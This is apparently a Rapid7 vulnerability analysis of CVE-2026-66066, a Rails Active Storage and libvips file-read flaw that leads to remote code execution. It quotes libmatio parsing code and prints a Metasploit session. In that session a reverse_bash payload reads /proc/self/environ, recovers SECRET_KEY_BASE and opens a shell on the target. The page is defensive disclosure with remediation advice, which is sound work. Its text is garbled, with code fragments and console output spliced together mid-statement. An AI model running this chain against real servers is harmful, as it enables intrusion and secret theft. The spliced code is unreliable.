CRITICALVulnerability
Global
Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)
·Source: Rapid7
Updated:
Executive Summary
Overview On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066 , an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are = 8.0, = 8.1, < 8.1.3.1 . Vips is the default Active Storage variant processor for applications that load Rails 7.0
Analysis
Overview On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066 , an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are = 8.0, = 8.1, Target file bytes are returned as image pixels Analysis The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload , libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125. Direct upload stores an attacker-controlled type The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5 , ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload! : class ActiveStorage::DirectUploadsController flags |= VIPS_OPERATION_UNTRUSTED; // suffs = vips__mat_suffs; load_class->is_a = vips__mat_ismat; // header, 1, 116, fp); mat->header[116] = '\0'; bytesread += fread(mat->subsys_offset, 1, 8, fp); bytesread += 2 * fread(&tmp2, 2, 1, fp); bytesread += fread(&tmp, 1, 2, fp); if ( 128 == bytesread ) { /* v5 and v7.3 files have at least 128 byte header */ mat->byteswap = -1; if ( tmp == 0x4d49 ) mat->byteswap = 0; else if ( tmp == 0x494d ) { mat->byteswap = 1; Mat_int16Swap(&tmp2); } mat->version = (int)tmp2; // version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) { mat->bof = ftello((FILE *)mat->fp); if ( mat->bof == -1L ) { free(mat->header); free(mat->subsys_offset); free(mat); fclose(fp); Mat_Critical("Couldn't determine file position"); return NULL; } mat->next_index = 0; } else { mat->version = 0; } } At [17] , Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version . This is separate from the descriptive text that libvips already accepted at the beginning of the file. static int ReadData(mat_t *mat, matvar_t *matvar) { if ( mat == NULL || matvar == NULL || mat->fp == NULL ) return MATIO_E_BAD_ARGUMENT; else if ( mat->version == MAT_FT_MAT5 ) return Mat_VarRead5(mat, matvar); #if defined(MAT73) && MAT73 else if ( mat->version == MAT_FT_MAT73 ) return Mat_VarRead73(mat, matvar); // version == MAT_FT_MAT4 ) return Mat_VarRead4(mat, matvar); return MATIO_E_FAIL_TO_IDENTIFY; } At [18] , ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header. HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset: static int Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data) { herr_t herr; if ( !isComplex ) { herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // use exploit/multi/http/rails_activestorage_vips_rce [*] Using configured payload cmd/unix/reverse_bash msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 RPORT => 3003 msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 msf6 exploit(multi/http/rails_activestorage_vips_rce) > run [*] Running automatic check ("set AutoCheck false" to disable) [+] Selected the 20x20 sharpened text-read layout (180 bytes per request) [+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout [*] Reading up to 65536 bytes from /proc/self/environ [*] Detected SHA1 Active Support verifier signatures [*] Detected the Active Support json message serializer [*] Validated SHA256 key derivation against a signed blob ID [*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin [+] Recovered SECRET_KEY_BASE from /proc/self/environ [*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ [*] Command shell session 1 opened msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id [*] Running 'id' on shell session 1 (127.0.0.1) uid=1000(rails) gid=1000(rails) groups=1000(rails) The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key. Ethiack's published 1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0 's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data. Remediation For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory . The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.